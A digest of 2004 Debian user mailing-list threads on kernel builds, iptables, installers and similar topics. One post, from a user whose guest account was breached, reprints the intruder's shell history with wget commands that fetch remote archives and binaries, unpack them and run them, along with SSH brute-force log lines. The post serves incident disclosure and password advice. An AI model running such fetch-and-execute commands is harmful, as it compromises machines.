.^^


> Just wanted to share the need for strong passwords.

Not to mention backups and fresh installation media?


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Re: Building 2.6.x kernel

2004-07-22 Thread Wayne Topa
[EMAIL PROTECTED]([EMAIL PROTECTED]) is reported to have said:
> Maybe my last message went astray.
> 
> Has anyone had any success using a 2.6.[67] kernel built themselves?
> 
Yes.  Using the old fashoned way and using make-kpkg.

: uname -a
Linux buddy 2.6.7 #1 Sat Jul 17 21:15:34 EDT 2004 i686 GNU/Linux

> I have now built a 2.6.6 and a 2.6.7 using make_kpkg. Both have
> apparently installed OK but panicked because they couldn't mount my
> root partition.
Looks like you don't have the option for the ext3 FS enabled.

> 
> Said partition is an ext3 created during a stock sarge install. The
> original 2.4.25 and an installed 2.6.6-1.k7 kernel have no problems.
> 
What does [grep -i ext3 /boot/config-2.6.7 report?

Mine shows
CONFIG_EXT3_FS=y
CONFIG_EXT3_FS_XATTR=y
# CONFIG_EXT3_FS_POSIX_ACL is not set
# CONFIG_EXT3_FS_SECURITY is not set

> Also, I cannot create the modules for either 2.6.6 or 2.6.7, The
> attempt to make the modules eventally barfs telling me that there is a
> missing file /usr/src/kernel-source-2.6.7/include.linux/modversions.h
> and tells me to run make dep to creat it.
Do you have module-init-tools  3.1-pre5-1 installed?  There have been
some changes in how the modules load.  See the Documenation dir for
info on that.
> 
> But running make dep simply results in a mesage saying that make dep
> is no longer necessary. WRONG.
Did you copy the .config file from /usr/src/linux-2.6.6 to the 2.6.7
dir and then do a make oldconfig?  If not then do a make
[config|menuconfig|xconfig] in the 2.6.7 dir again, and check that you
enabled the ext3 fs.

:-) HTH, YMMV, HAND :-)

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Re: See what a weak password will get ya?

2004-07-22 Thread dircha
Scarletdown wrote:
|<  == K
 >< == X
|> == P
Anyone else care to add to this little list?
0 == O
$ == S
|-| == H
|_| == U
|_ == L
\/\/ == W
/\/\ == M
|V| == M
|\| == N
|-o-| == tie fighter
{-o-} == tie interceptor
8~~
?
8-)
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Re: iptables filter rules Question??

2004-07-22 Thread s. keeling
Incoming from [EMAIL PROTECTED]:
> [s. keeling:]
> >
> > I use exactly the same rule here:
> >
> >   iptables -A INPUT -i ppp0 -m state --state ESTABLISHED,RELATED -j ACCEPT
> 
> EULER:~# iptables -A INPUT -i ppp0 -m state --state ESTABLISHED,RELATED -j
> ACCEPT
> iptables: No chain/target/match by that name
> EULER:~#

As I say, I use the same rule (direct cut+paste from my script):

  iptables -A INPUT -i ppp0 -m state --state ESTABLISHED,RELATED -j ACCEPT

All I can say is this:

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ii  iptables  1.2.6a-5  IP packet filter administration tools for 2.4.4+ ker
   --

and this:

   --
(0) root /root_ iptables -nvL
Chain INPUT (policy ACCEPT 80543 packets, 9554K bytes)
 pkts bytes target prot opt in out source   destination
 
   84  4606 ACCEPT tcp  --  ppp0   *   0.0.0.0/00.0.0.0/0  
tcp dpt:113 
  374 23156 LOGall  --  *  *  !127.0.0.10.0.0.0/0  
state NEW LOG flags 0 level 4 
  374 23156 DROP   all  --  *  *  !127.0.0.10.0.0.0/0  
state NEW 
12452 9614K ACCEPT all  --  ppp0   *   0.0.0.0/00.0.0.0/0  
state RELATED,ESTABLISHED 

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target prot opt in out source   destination
 

Chain OUTPUT (policy ACCEPT 570 packets, 47066 bytes)
 pkts bytes target prot opt in out source   destination
 
34743 3391K ACCEPT all  --  *  *   0.0.0.0/00.0.0.0/0  
state NEW,RELATED,ESTABLISHED 
   --

If you're not running stable, check the man page.  Maybe they've
renamed something since Woody.


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Re: See what a weak password will get ya?

2004-07-22 Thread Scarletdown
Paul Stolp wrote:
I checked in on some bittorrent progress today at lunch, noticed my
I'm not sure the July 19 log snippet is related, but seems likely.
Anyways, I've re-downloaded the files the attacker used and removed (for
posterity.)
I changed all passwords, IP Address, I found the evidence at about
12:24.
Just wanted to share the need for strong passwords.
I second that recommendation.  I always prefer to have passwords with 
the following features:

Minimum of 8 characters
At least 1 capital letter
At least 1 lower case letter
At least 1 number
At least 1 special character
An example of a good password (though since I'm posting it here, it can 
no longer be considered good) is:

[EMAIL PROTECTED]
Meets all the above specifications, plus is readable.  Combining special 
characters to make letters also helps.  Though at the moment, I can only 
think of 3 combinations...

|<  == K
>< == X
|> == P
Anyone else care to add to this little list?
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[Fwd: (GASP!) Looking for commercial quality financial software]

2004-07-22 Thread Ralph Katz
 Original Message 
Subject: (GASP!)  Looking for commercial quality financial software
Date: Thu, 22 Jul 2004 17:53:06 -0500
From: Bradley Pursley <[EMAIL PROTECTED]>
Newsgroups: linux.debian.user
I am converting everything from Windows to Linux in high hopes of
eliminating Windows totally but am having a serious problem finding a
decent financial software package.  I have tried both GnuCash and CBB
(Checkbook Balancer) and both fall very far short of what is needed.  I
am willing to pay for a low cost commercial package if necessary.  Any
help here?
Bradley
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Bradley,
How about sql-ledger?  http://www.sql-ledger.org/
http://packages.debian.org/unstable/web/sql-ledger
I've forwarded this to the debian-user mail list, perhaps others will 
respond.  The newsgroup is a one-way gateway from the list.

Regards,
Ralph
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Re: Debian install breaks on 'Configuring Locales'

2004-07-22 Thread Kent West
John Hechtman wrote:
I moved from Suse to Slackware, because the stock Suse was WAY slow.
And then from Slackware to Debian because no one can tell me why my floppy
drive mounts in read-only in Slackware when using any GUI.
Now I've dl'd the Debian CD iso images and burned them to disks.
This is with the 'Woody' 30r2-i386 set of seven CD's, plus the updates CD.
 
I started the install, and it went fine through the first part. 

But it breaks each time at 'Configuring Locales'. You can select more
locales, but the 'Enter' key will not give an 'accept' - it just sits 
there.
No key on the keyboard will 'accept', and get me past this.
In fact, after it breaks on the first cycle, the 'Enter' key brings up the
'Help' menu.

This is using disk 1 - the 'vanilla' kernel. I tried it with bf24 to
see if that helps - it didn't.
Can't I get a stock version of Linux to run 'out of the box', with decent
speed? I'm not asking a lot, Web access, email, and a functioning floppy
drive...
Further, the Debian install doc, which was lovingly detailed up to Chapter
8, breaks down and does not deal with several of the screen options
presented during setup. Including, of course, the 'Configuring Locales'
option, or any way of avoiding it.
Can I scream now, or must I wait?
You can scream any time you want. You're going to be frustrated no 
matter what, if you're new to Linux. It's a different world. On the 
other hand, once you've spent some time here, going back to Windows will 
frustrate you more. So if you're going to turn back, do it now, before 
you get spoiled.

I can't answer your specific question, but I can tell you that if you 
have network access, you'll do better to forget the CDs and instead 
download the 100MB CD image for the new beta Sarge installer, and 
install just the base stuff, then use the network to pull down what you 
want. You'll get fresher (newer) packages, and it'll probably go a lot 
smoother (the new beta installer is better than the old Woody installer).

You can find the beta installer at: 
http://www.debian.org/devel/debian-installer/

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See what a weak password will get ya?

2004-07-22 Thread Paul Stolp
I checked in on some bittorrent progress today at lunch, noticed my
process monitor showing full activity. Ran top, saw user "guest" logged
on, running 4 instances of a program named "t", and short term load
average over 4. AAGGGHHH!
shutdown -h now  !
pull network cable
reboot
look for damage, whew, I was O.K. -- I'm sure it helps to be up to date
on security and running 2.6.7.
changed all passwords to much stronger
Anyhow, I figure turnabout is fair play, so, here's the bash history
from the "guest" user account, along with the IP addresses the attacker
logged in from:

w
uname -a
wc -l /etc/passwd
wget smenlove.home.ro/t.gz ;tar xzvf t.gz ;  rm -rf t.gz ; ./t
./t
./t
./t
./t
./t
ls
rm -rf t
kill -9 
%1
kill -9 %1
wget smenlove.home.ro/h.tgz ; tar xzvf h.tgz ; rm -rf h.tgz ; ./h2
w
id
./h2 
rm -rf h2 
wget
vagabonzi.topcities.com/muzica/muzica/classical/oldclassical/german/old/brk.bz2;bzip2
-d brk.bz2;chmod +x br
k;./brk
wget
vagabonzi.topcities.com/muzica/muzica/classical/oldclassical/german/old/brk.bz2;bzip2
-d brk.bz2;chmod +x br
k;./brk
ls
passwd
exit


Jul 19 19:54:41 greta sshd[7071]: Illegal user admin from 131.234.157.10
Jul 19 19:54:41 greta sshd[7071]: error: Could not get shadow
information for NO
USER
Jul 19 19:54:41 greta sshd[7071]: Failed password for illegal user admin
from 13
1.234.157.10 port 35860 ssh2
Jul 19 19:54:44 greta sshd[7073]: Illegal user admin from 131.234.157.10
Jul 19 19:54:44 greta sshd[7073]: error: Could not get shadow
information for NO
USER
Jul 19 19:54:44 greta sshd[7073]: Failed password for illegal user admin
from 13
1.234.157.10 port 35917 ssh2
Jul 19 19:54:46 greta sshd[7075]: Illegal user user from 131.234.157.10

Jul 22 10:24:38 greta sshd[22403]: Failed password for illegal user test
from 15
6.17.99.11 port 37183 ssh2
Jul 22 10:24:39 greta sshd[22405]: Accepted password for guest from
156.17.99.11
 port 37228 ssh2
 Jul 22 10:24:39 greta sshd[22407]: (pam_unix) session opened for user
 guest by (
 uid=0)
 Jul 22 10:24:47 greta sshd[22407]: (pam_unix) session closed for user
 guest

Jul 22 12:09:33 greta sshd[22595]: Accepted password for guest from
80.110.102.105 port 3938 ssh2
Jul 22 12:09:33 greta sshd[22597]: (pam_unix) session opened for user
guest by (uid=0)
Jul 22 12:12:45 greta passwd[22663]: (pam_unix) authentication failure;
logname=guest uid=1002 euid=0 tty= ruser=
 rhost=  user=guest
 Jul 22 12:13:16 greta sshd[22597]: (pam_unix) session closed for user
 guest

I'm not sure the July 19 log snippet is related, but seems likely.
Anyways, I've re-downloaded the files the attacker used and removed (for
posterity.)
I changed all passwords, IP Address, I found the evidence at about
12:24.
Just wanted to share the need for strong passwords.
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Re: iptables filter rules Question??

2004-07-22 Thread fbrian
> Incoming from [EMAIL PROTECTED]:
>>
>> This is my rule set:
>>
>> 1 iptables -P INPUT DROP
>> 2 iptables -A INPUT -p icmp -j ACCEPT
>> 3 iptables -A INPUT -i lo -j ACCEPT
>> 4 iptables -A INPUT -i ppp0 -p tcp --dport 22 -j ACCEPT
>> 5 iptables -A INPUT -i ppp0 -m state --state ESTABLISHED,RELATED -j
>> ACCEPT
>> 6 iptables -A INPUT -i ppp0 -p tcp -j REJECT --reject-with tcp-reset
>> 7 iptables -A INPUT -i ppp0 -p udp -j REJECT
>> 8 iptables -A INPUT -i ppp0 -j REJECT --reject-with
>> icmp-proto-unreachable
>>
>> 9  iptables -P FORWARD DROP
>> 10 iptables -P OUTPUT ACCEPT
>>
>> *
>>
>> 1.) Line number five does not work, iptables complains when I issue that
>> rule.
>
> I use exactly the same rule here:
>
>   iptables -A INPUT -i ppp0 -m state --state ESTABLISHED,RELATED -j ACCEPT
>

Do you get this error or ... what does this error mean ...


EULER:~# iptables -A INPUT -i ppp0 -m state --state ESTABLISHED,RELATED -j
ACCEPT
iptables: No chain/target/match by that name
EULER:~#

>> 2.) The functionality I want from my firewall rule set is:
>>
>>   Deny all incoming traffic except, port 22 ssh and allow pings
>>
>>   Allow all outgoing traffic, as well as, it should be able to come
>>   back in if it originated from my box
>>
>> The above rule set did work when I had an ethernet connection on a
>> different network, but when I changed to dialup, I have problems getting
>> these to work.
>
> My situation is close, the exception being incoming ssh.  I do,
> however, allow incoming identd (handled by fauxident):
>
> iptables -A OUTPUT -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
> iptables -t filter -I INPUT -i ppp0 -m tcp -p tcp --dport 113 -j ACCEPT
> iptables -A INPUT -s ! 127.0.0.1/32 -m state --state NEW -j LOG
> iptables -A INPUT -s ! 127.0.0.1/32 -m state --state NEW -j DROP
> iptables -A INPUT -i ppp0 -m state --state ESTABLISHED,RELATED -j ACCEPT
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Re: Debian install breaks on 'Configuring Locales'

2004-07-22 Thread Simon Kitching
On Fri, 2004-07-23 at 09:15, John Hechtman wrote:
> Now I've dl'd the Debian CD iso images and burned them to disks. 
> This is with the 'Woody' 30r2-i386 set of seven CD's, plus the updates
> CD.

Are you intending this installation to be used for a production server,
or for a personal desktop?

If you want a production server, you'll have to persist with Debian 3.0
(aka woody). The install procedure is difficult, but the resulting
installation is very stable and secure.

If you want a desktop, or a more experimental server, then you should
download the installer for the Debian Testing release (aka "Sarge"). The
packages installed are far more up-to-date, and the install procedure is
light-years ahead of the old installer. The only disadvantage is that
the occasional package doesn't work (the dangers of using what is
effectively a "beta" release).

Search for "debian-installer" on the www.debian.org home page for links
to the latest releases.

Note that the installer is just a single CD, and the rest of the OS gets
downloaded over the internet, so you'll need a decent network connection
if you want to do this. There are ways to download CDs of "testing"; see
documentation for "jigdo" which should be linked somewhere from the main
page.

Regards,

Simon


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Re: /cdrom vs. /media/cdrom

2004-07-22 Thread Kaj Wiik
On Fri, 2004-07-23 at 02:32, Joey Hess wrote:
> Paul Johnson wrote:
> > I don't have a /media, and my laptop, which I just installed Debian on,
> > also doesn't have a /media.  ???
> 
> Then you didn't install sarge using a current version of the installer.

Continuing from this, is there a way to automatically populate the
/media directory afterwards with correct names?

Thanks,

Kaj


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Webmin dies on startup

2004-07-22 Thread Jonathan Melhuish
Since upgrading my system on 10th July, webmin hasn't worked.

When I try running "/etc/init.d/webmin start", it says "Starting webmin: 
webmin" and returns control to the command line - but no processes persist 
and no ports stay open.  What's more, I don't even get any log output 
in /var/log/webmin/webmin.log or /var/log/messages.

I usually run the stable version, but I have also tried installing the testing 
version, to no avail.  I have tried removing and re-installing both versions.

Has anybody got any ideas?

TIA,

Jon


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Debian install breaks on 'Configuring Locales'

2004-07-22 Thread John Hechtman



Below is a copy 
of my most recent post to LinuxQuestions.  Can you help 
withthis?I moved from Suse to Slackware, because the stock Suse was 
WAY slow.And then from Slackware to Debian because no one can tell me 
why my floppydrive mounts in read-only in Slackware when using any 
GUI.Now I've dl'd the Debian CD iso images and burned them to disks. 

This is with 
the 'Woody' 30r2-i386 set of seven CD's, plus the updates 
CD.
 
I started the 
install, and it went fine through the first part.  

But it breaks each time at 'Configuring Locales'. You can select 
morelocales, but the 'Enter' key will not give an 'accept' - it just sits 
there.
No key on the keyboard will 'accept', and get me past this.In fact, 
after it breaks on the first cycle, the 'Enter' key brings up the'Help' 
menu.This is using disk 1 - the 'vanilla' kernel. I tried it 
with bf24 tosee if that helps - it didn't.Can't I get a stock 
version of Linux to run 'out of the box', with decentspeed? I'm not asking a 
lot, Web access, email, and a functioning floppydrive...Further, the 
Debian install doc, which was lovingly detailed up to Chapter8, breaks down 
and does not deal with several of the screen optionspresented during setup. 
Including, of course, the 'Configuring Locales'option, or any way of 
avoiding it.Can I scream now, or must I 
wait?


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Re: Sarge

2004-07-22 Thread Ralph Katz
On 07/21/04 22:40, Haines Brown wrote:
"Jerry Wong" <[EMAIL PROTECTED]> writes:

What is the meaning of "SARGE" and how to pronounce it.
--
Jerry Wong

I was hoping someone would provide an authoritative response, but not
so far. I'll reply at a simple level, and await someone to jump in to
correct me.
It seems likely that "sarge" is the common US English abbreviation for
the term "sargeant," which is a military rank. It would be pronounced
with a soft g and the e is not pronounced.
I assume you are talking about testing debian, and it may be that
whoever cooked up the name had something else in mind. I've no idea
why the versions were named potato, woody, sarge and sid. 

From the Debian FAQ:
http://www.debian.org/doc/FAQ/ch-ftparchives.en.html#s-codenames
5.3.2 Where do these codenames come from?
So far they have been characters taken from the movie "Toy Story" by Pixar.
* buzz (Buzz Lightyear) was the spaceman,
* rex was the tyrannosaurus,
* bo (Bo Peep) was the girl who took care of the sheep,
* hamm was the piggy bank,
* slink (Slinky Dog) was the toy dog,
* potato was, of course, Mr. Potato,
* woody was the cowboy.
* sarge was the sergeant of the Green Plastic Army Men.
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Netscape seems to default to Postscript(tm of Adobe), but I don't have a postscript printer

2004-07-22 Thread J F

Printing from Netscape seems to default to 
Postscript(tm of Adobe), but I don't have a postscript printer.

Is there a way to set up 2 print spools?
One called hpprinter and one called hpprinter-P?
Both would be the same except hpprinter-P would
go thru a postscript to raster converter to
emulate postscript?

I have been playing around with cups and kde printer,
but I am still lost in the jungle.

Or can Netscape be configured to not output 
postscript?

Thanks in advance,
J


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Re: dpkg/apt question

2004-07-22 Thread Monique Y. Mudama
On 2004-07-22, Preston Boyington penned:
> i have "inherited" an existing debian box and want to change the
> packages to suit me and the office that it will now be used.
>
> i would like to take the installed packages listed from:
>
> dpkg --get-selections > packages.txt
>
> and edit the file to reflect what i actually want/need on the box.
>
> after i get the edited list prepared, is there a command i can issue
> that will instruct apt or dpkg to add/remove the programs to reflect
> my changes?
>
> on a fresh install i would do:
>
> dpkg --set-selections < packages.txt
>
> then:
>
> apt-get install
>
> but i don't know the command to do this from a existing setup.
>
> would someone shed some light on this for me?
>
> thanks, Preston

Is there any particular reason that you don't want to use aptitude or
dselect to interactively change the installed packages?

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Mail Services "Opinion"

2004-07-22 Thread Support


Hi! Debian Users
Need some info about Mail Server. There are some request from my
management about Mail Services.Below are the list. Need your
opnion.
1). Must can support multiple domain. I have Domain for abc.com.my and
cde.com.my 
2). The email user must can be control to become a local user or
external user. 
local user - only can send email between domain, it mean that user
from domain abc.com.my can send email to cde.com.my but can't send to
other beside this two domain. 
3). all outgoing email must can be store at one location for top
management to view if upon request. (if possible by selected
user) 
4). all incoming email must can be store at one location for top
management to view back upon request. (If possible by selected
user) 
5). all incoming or out going email with attachment must can be on
hold by postmaster for checking purpose, before release to user or send
out. 
6). email from specify address must can be forward to special
account for checking purpose. example I have user1 which can send and
received external email. but I don't him to received email from user
[EMAIL PROTECTED] ,so any email from
[EMAIL PROTECTED] will not reach to user1 account
but will reach to postmaster account.



Thank You
Support



Multihead display without a desktop on second monitor

2004-07-22 Thread Frank H. Baker
I have a 3 head system: one display for the console and two others 
for showing graphics on a clean (unadorned) screen that I control
simply using xlib functions.  This configuration has been working
as prescribed under Mandrake 9.0, but when I tried installing it
on Debian sarg/Linux 2.6, the uniform hatched screen displayed by
X was replaced, after I logged in, by a screen with tool panels 
at the top and bottom on a uniform background.  I have not enabled
Xinerama in XF86Config-4.

Do you have any suggestions how, for instance, to prevent a display
manager from running on the two auxiliary screens or, I guess,
to prevent a session from displaying on them?

Thanks for any help,
Frank Baker


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Re: Detaching and reattaching a process to different terminals?

2004-07-22 Thread Micha Feigin
On Thu, Jul 22, 2004 at 09:00:46AM -0400, Stephen Touset wrote:
> I'm running a program for a research study I'm involved in, but I've run
> into a slight problem. I executed it on an xterm (and it's been running
> for a few days now, so I don't want to stop it mid-calculation), but
> today is a workday. At work, I use two screens on my laptop. The only
> way to accomplish this is to restart X so Xinerama can take effect.
> Unfortunately, this will also have the nasty side effect of killing
> execution.
> 
> Is there any way to detach the pid from that terminal and reattach it to
> one of the consoles? Or background it in a way where it will survive X
> restarting? It's not critical, but it's something I've wondered before,
> and which will come in extremely handy today.
> 

I don't know if it will do what you want since I think it was orphaned
a bit, but is in a working state, although a bit limited. Have a look at

http://cryopid.berlios.de/

It spawned out of an idea on software suspend development list. It will
suspend the whole process saving its state and will allow you to restart
it later.

IIRC it didn't get to the point of handling open file descriptors (and
thus sockets), and doesn't restore the process pid, but if your process
doesn't have open file descriptors and doesn't rely on its pid it may
work

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Re: Xeon HT or not HT

2004-07-22 Thread David Purton
On Thu, Jul 22, 2004 at 01:33:50PM -0400, Dragan Cvetkovic wrote:
> Greg Folkert <[EMAIL PROTECTED]> writes:
> 
> > On Thu, 2004-07-22 at 05:10, nx13372 wrote:
> >> I'm using kernel 2.4.26-1-686-smp.
> >> I have a dual xeon box. If in the bios i enable the HT i'll get 4 cpus, 
> >> if not i'll get 2 cpus.
> >> What is bettter?
> 
> [snip]
> 
> >
> > Without hyperthreading you have 2 Things doing MANY MANY small and big
> > jobs. Sort of like having a 500HP motor on each your lawn mowers. Big,
> > clunky not AS flexible.
> >
> > With HyperThreading you 4 smaller things (each 1/2 the capacity of the
> > the nonHT processors) doing many many small and big jobs. Sort of like
> > having having a 240HP(with turbo boost to ~ 480HP if needed) motor on
> > each of your lawn mowers. 4 Smaller, powerful and yet more flexible to
> > do the job, the power is distributed based on need.
> >
> > I think the answer is clear.
> 
> Is it? Does Linux 2.4 performs as good on a 4 CPU machine as it does on a
> 2 CPU one?
> 

My understanding is that if you have multiple real cpus with HT, then
you should use a 2.6 kernel, since 2.4 assigns processes to the first
two "virtual cpus" before it moves on to subsequent real cpus.

Though maybe that has changed now.

cheers

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Re: flash and mozilla (and firefox and epiphany)

2004-07-22 Thread Carl Johnson
Paul Yeatman <[EMAIL PROTECTED]> writes:

> I now am convinced that the problem resides with the appearance that
> Flash accesses /dev/dsp directly creating a conflict anytime another
> application has already locked the dsp device first, such as esd.  The
> Mozilla wrapper that seems to offer a way around this doesn't appear to
> work for me.
> 
> My current solution is to change the default behavior of esd from
> "auto_spawn" being set to off to being on and, as I'm using gnome,
> either disabling sound in gnome altogether or killing the esd process
> that is started once I log in.  This solution is satisfactory for
> the moment but took quite awhile to figure out.

Have you tried the '-as' option of esd?  I use 'esd -as 2' to require
esd to release /dev/dsp 2 seconds after it finishes, so other devices
can use it.  That allows me to use programs with both esd and /dev/dsp
output, but not at the same time.

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Re: Continue asking about RSH on Linux?

2004-07-22 Thread Sam George
On Wed, 21 Jul 2004 22:41:42 -0700 (PDT)
Hai Nguyen <[EMAIL PROTECTED]> wrote:

> Dear [EMAIL PROTECTED]
> 
> What can I do to corect this problem? 
> (My machine is an ALPHASERVER with 6 node, the Linux version is 
> Red Had Linux reales 6.2 (Zoot) - Kernel 2.2.14-6.0 on an alpha).

humm, this list is really about debian not redhat.

> If using SSH kind of SSH is appropriate for my machine and where I could get them? 
> I hope you continue help me. Thank you very much.

I would look on http://www.rpmfind.net/ for the ssh rpms.

> I look forward to hearing your answers.
> 
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Building 2.6.x kernel

2004-07-22 Thread dbarker
Maybe my last message went astray.

Has anyone had any success using a 2.6.[67] kernel built themselves?

I have now built a 2.6.6 and a 2.6.7 using make_kpkg. Both have
apparently installed OK but panicked because they couldn't mount my
root partition.

Said partition is an ext3 created during a stock sarge install. The
original 2.4.25 and an installed 2.6.6-1.k7 kernel have no problems.

Also, I cannot create the modules for either 2.6.6 or 2.6.7, The
attempt to make the modules eventally barfs telling me that there is a
missing file /usr/src/kernel-source-2.6.7/include.linux/modversions.h
and tells me to run make dep to creat it.

But running make dep simply results in a mesage saying that make dep
is no longer necessary. WRONG.

Anyone any suggestions? I cannot use ndiswrapper on my notebook
without recompiling the kernel and can't get the wireless connection
working untiloh spit!
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Re: Xeon HT or not HT

2004-07-22 Thread Dragan Cvetkovic
Greg Folkert <[EMAIL PROTECTED]> writes:

> On Thu, 2004-07-22 at 05:10, nx13372 wrote:
>> I'm using kernel 2.4.26-1-686-smp.
>> I have a dual xeon box. If in the bios i enable the HT i'll get 4 cpus, 
>> if not i'll get 2 cpus.
>> What is bettter?

[snip]

>
> Without hyperthreading you have 2 Things doing MANY MANY small and big
> jobs. Sort of like having a 500HP motor on each your lawn mowers. Big,
> clunky not AS flexible.
>
> With HyperThreading you 4 smaller things (each 1/2 the capacity of the
> the nonHT processors) doing many many small and big jobs. Sort of like
> having having a 240HP(with turbo boost to ~ 480HP if needed) motor on
> each of your lawn mowers. 4 Smaller, powerful and yet more flexible to
> do the job, the power is distributed based on need.
>
> I think the answer is clear.

Is it? Does Linux 2.4 performs as good on a 4 CPU machine as it does on a
2 CPU one?

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Re: modules not found after kernel recompile

2004-07-22 Thread CW Harris
On Wed, Jul 21, 2004 at 08:41:31PM +0200, Wim De Smet wrote:
> On Wed, 21 Jul 2004 12:17:40 -0600, CW Harris <[EMAIL PROTECTED]> wrote:
> > On Wed, Jul 21, 2004 at 07:55:27PM +0200, Wim De Smet wrote:
> > > Hi,
> > >
> > [...]
> > >
> > > You normally don't need a modprobe.conf, everything should be in
> > > /etc/modprobe.d. modprobe.conf is just an empty file on my system. I'm
> > 
> > Is this true?  Mine (a mostly Sarge with module-init-tools 3.0-pre2-1) has:
> > 
> > # This line loads the part of the modprobe configuration managed with
> > # update-modules(8) and built from the contents of /etc/modprobe.d/.
> > include /lib/modules/modprobe.conf
> > ^^
> > Which seems very important to me (not a GURU here).
> > 
> 
> module-init-tools in sarge is 3.1-pre5. Maybe it has something to do
> with the older version, or maybe you need this if you use udev or
   ^
Yes that was it.  I see in the changelog that between 3.0 and 3.1
modprobe.conf is no longer used since /etc/modprobe.d/* files are parsed
directly without the need for update-modules to process them.

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Re: modules not found after kernel recompile

2004-07-22 Thread Wayne Topa
Wim De Smet([EMAIL PROTECTED]) is reported to have said:
> On Wed, 21 Jul 2004 17:02:07 -0400, Wayne Topa <[EMAIL PROTECTED]> wrote:
> > 
> > 
> > Wim De Smet([EMAIL PROTECTED]) is reported to have said:
> > > On Wed, 21 Jul 2004 12:17:40 -0600, CW Harris <[EMAIL PROTECTED]> wrote:
> > > > On Wed, Jul 21, 2004 at 07:55:27PM +0200, Wim De Smet wrote:
> > > > > Hi,
> > > > >
> > > > [...]
> > > > >
> > > > > You normally don't need a modprobe.conf, everything should be in
> > > > > /etc/modprobe.d. modprobe.conf is just an empty file on my system. I'm

[ snipped the wrong info I sent ]

I read " modprobe.conf is just an empty file " as  modules.conf  :-( 

Need new glasses, I guess.  Sorry for the noise.

> I don't know what you are trying to say. Yes, he needs
> module-init-tools for a 2.6 kernel, that's what he is trying to
> install. No he does not need a modprobe.conf (AFAIK).
> 
> See:
> $ cat modprobe.conf
> $
> (eg nothing in there)
> 
> You can safely remove the modutils if you run a 2.6.x kernel.
> 

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RE: Testing + Reiserfs + quota support.

2004-07-22 Thread Michael Bellears
> 
> I've been through this the morning and as far as I can find 
> out reiser doesn't support quotas without patches to 2.4. No 
> idea on the stat of 2.6 patches

Happy to patch the kernel - Does anyone have a patch location for 2.4.26
kern?

Following only has up to 2.4.21.. 

ftp://atrey.karlin.mff.cuni.cz/pub/local/jack/quota/v2.4/

Or am I better of running an alternate Journaling FS(That includes quota
support)?

Regards,
MB



Re: /cdrom vs. /media/cdrom

2004-07-22 Thread Joey Hess
On Thu, Jul 22, 2004 at 11:29:13AM +0200, Frank Uepping wrote:
> on Sarge there are many duplicating mount points for peripherals,
> like: 
> /cdrom
> /cdrom0
> /floppy
> /media/cdrom
> /media/cdrom0
> /media/floppy
> etc.
> 
> Why are the duplicates?
> What is the preferred mount point / or /media for peripherals?
> Is there any document about this issue?

/media is introduced in newer versions of the FHS to have a place to put
mount points without cluttering up the root directory.

/media/cdrom is a link to /media/cdrom0, or could be switched to point to whatever 
other cdrom you typically use, like /media/cdrom1.

/cdrom is a legacy link to /media/cdrom to make a few programs that hardcode
/cdrom continue to work since we don't have time to track them all down and
fix them for the sarge release.

/cdrom0 was created by buggy versions of discover1, but this is fixed
in current sarge.

/floppy is not created by current installs of sarge

Recent versions of the install may also set up /media/usb mount points
for usb storage devices.

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Re: USB disk drive

2004-07-22 Thread Bill Moseley
On Thu, Jul 22, 2004 at 05:15:42PM +0300, Micha Feigin wrote:
> 
> Try modprobe sd-mod (scsi disk support).

Yep!  That solves the problem.

It mounts vfat with only a Recycled directory and in that directory
some odd looking files:

bumby:/mnt/Recycled# ls
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Re: mkinitrd: RAID support requires raidtools2

2004-07-22 Thread Richard Weil
What do you mean you've installed raidtools2 but are using mdadm? I
believe the problem could be this:

o  initrd-tools works on the assumption you're using devfs

o  if you're not using devfs, but you are using raidtools2 to manage
your array, then software RAID should still work (I say this based on
an initrd-tools bug report I read)

o  if you're not using devfs and you're using mdadm to manage your
array, you're out of luck -- compile your own kernel

It would be nice if Debian would take the opportunity before Sarge
becomes stable to just rid itself of devfs (at least on 2.6 kernels),
than software raid using using standard/modern tools would work fine
with the default kernel.

Of course, my recent experience hassling with this has been on Sarge,
not Woody, so I could be way off.

Richard

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> I'm trying to do software raid on a fresh install of Woody with a
> 2.4.26 kernel.  In order to load the software raid I need to make an
> initrd image, so I installed initrd-tools.  However, when I run
> mkinitrd, I get the following message:
> 
> # mkinitrd -o /boot/initrd.img-2.4.26 2.4.26
> /usr/sbin/mkinitrd: RAID support requires raidtools2
> 
> I've got raidtools2 installed (even though I am using mdadm).  I have
> the module 'md' specified in /etc/mkinitrd/modules.  What can I do to
> fix this error?
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/bin/sh: line 1: root: command not found

2004-07-22 Thread Christopher L. Everett
People,
I keep getting these emails, from multiple servers relating to entries in
/etc/crontab.  AFAIK, I'm doing everything right (maybe not the best way
technically, but following what the documentation says):
 -- using crontab -e
 -- looks the same to me as a working crontab on another server
 -- crontab package versions the same as a working crontab
 -- checked `man -e5 crontab` to see I had the correct format
I've googled for about 3 hours, and nothing that looks like an answer,
despite the fact that the problem happens often enough to deserve a FAQ.
I did find where for some reason, vi stuck a 2 byte UTF-8 character in
for the tab key (why? why? why?), but replacing it with a space did not
help, the only difference now is that the wide character doesn't show
on the subject line in my Mozilla mailbox.  In fact I replaced all the
tabs in /etc/crontab with space to no effect.
I'm all out of clue and this has my production servers snarled up.  Any
ideas here?
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Re: Need a Traffic Shaping Crash Course Please

2004-07-22 Thread frizzgrig
On Wed, 2004-07-21 at 23:50, Scarletdown wrote:
> For some reason, this isn't showing up on lists.debian.user, so I will
> go ahead and repost it here...
> This time, however, it will need to be done on two fully operational
> systems, so a failure will be more "catastrophic".  Therefore, I will
> need precise step by step instructions on how to do this.  And if things
> do still go wrong, instructions on how to recover using something like
> Knoppix (which is actually how I did my Linux install in the first
> place) or Mepis.

General advice on making changes to "mission critical" systems:
Learn a backup package (minimal install + tar, amanda, whatever).
Practice restoring a couple of times, then BACKUP TWICE, make your
changes and hope they go well.  If not, use those newly earned restore skills to get 
back to a good configuration.

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Re: USB disk drive

2004-07-22 Thread Micha Feigin
On Wed, Jul 21, 2004 at 07:33:13PM -0700, Bill Moseley wrote:
> I'm trying out a FireLite USB drive.  It's been used on Windows (from
> what the owner tells me and has data on it).
> 
> I'm running kernel 2.6.6.
> 
> When I plug it in I see this in syslog:
> 
> Jul 21 17:18:50 bumby kernel: usb 1-2: new full speed USB device using address 2
> Jul 21 17:18:51 bumby kernel: SCSI subsystem initialized
> Jul 21 17:18:51 bumby kernel: Initializing USB Mass Storage driver...
> Jul 21 17:18:51 bumby kernel: scsi0 : SCSI emulation for USB Mass Storage devices
